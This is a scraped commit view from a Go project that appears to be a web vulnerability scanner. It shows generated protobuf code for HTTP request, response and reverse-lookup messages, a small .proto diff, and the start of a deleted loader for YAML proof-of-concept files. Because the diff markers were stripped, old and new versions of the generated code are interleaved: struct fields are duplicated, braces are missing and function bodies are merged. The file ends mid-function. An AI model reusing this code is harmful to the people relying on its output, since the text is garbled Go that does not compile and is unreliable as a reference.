return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
func (x *UrlType) GetScheme() string {
if x != nil {
return x.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
func (x *UrlType) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
func (x *UrlType) GetHost() string {
if x != nil {
return x.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
func (x *UrlType) GetPort() string {
if x != nil {
return x.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
func (x *UrlType) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
func (x *UrlType) GetQuery() string {
if x != nil {
return x.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
func (x *UrlType) GetFragment() string {
if x != nil {
return x.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
return file_http_proto_rawDescGZIP(), []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
func (x *Request) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
func (x *Request) GetMethod() string {
if x != nil {
return x.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
func (x *Request) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
func (x *Request) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
func (x *Request) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
return file_http_proto_rawDescGZIP(), []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
func (x *Response) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
func (x *Response) GetStatus() int32 {
if x != nil {
return x.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
func (x *Response) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
func (x *Response) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
func (x *Response) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
func (x *Response) GetDuration() float64 {
if x != nil {
return x.Duration
}
return 0
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (x *Reverse) Reset() {
*x = Reverse{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Reverse) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Reverse) ProtoMessage() {}
func (x *Reverse) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
return file_http_proto_rawDescGZIP(), []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
func (x *Reverse) GetUrl() string {
if x != nil {
return x.Url
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
func (x *Reverse) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
func (x *Reverse) GetIp() string {
if x != nil {
return x.Ip
}
return ""
}
func (x *Reverse) GetIsDomainNameServer() bool {
if x != nil {
return x.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
var File_http_proto protoreflect.FileDescriptor
var file_http_proto_rawDesc = []byte{
0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
var (
file_http_proto_rawDescOnce sync.Once
file_http_proto_rawDescData = file_http_proto_rawDesc
)
func file_http_proto_rawDescGZIP() []byte {
file_http_proto_rawDescOnce.Do(func() {
file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
})
return file_http_proto_rawDescData
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_http_proto_goTypes = []interface{}{
(*UrlType)(nil), // 0: lib.UrlType
(*Request)(nil), // 1: lib.Request
(*Response)(nil), // 2: lib.Response
(*Reverse)(nil), // 3: lib.Reverse
nil, // 4: lib.Request.HeadersEntry
nil, // 5: lib.Response.HeadersEntry
}
var file_http_proto_depIdxs = []int32{
0, // 0: lib.Request.url:type_name -> lib.UrlType
4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
0, // 2: lib.Response.url:type_name -> lib.UrlType
5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
4, // [4:4] is the sub-list for method output_type
4, // [4:4] is the sub-list for method input_type
4, // [4:4] is the sub-list for extension type_name
4, // [4:4] is the sub-list for extension extendee
0, // [0:4] is the sub-list for field type_name
}
func init() { file_http_proto_init() }
func file_http_proto_init() {
if File_http_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*UrlType); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Reverse); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_http_proto_rawDesc,
NumEnums: 0,
NumMessages: 6,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_http_proto_goTypes,
DependencyIndexes: file_http_proto_depIdxs,
MessageInfos: file_http_proto_msgTypes,
}.Build()
File_http_proto = out.File
file_http_proto_rawDesc = nil
file_http_proto_goTypes = nil
file_http_proto_depIdxs = nil
}
+5 -2
View File
@@ -1,6 +1,8 @@
syntax = "proto3";
package lib;
option go_package = "./;lib";
message UrlType {
string scheme = 1;
string domain = 2;
@@ -25,11 +27,12 @@ message Response {
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
double duration = 6;
}
message Reverse {
UrlType url = 1;
string url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
}
-71
View File
@@ -1,71 +0,0 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
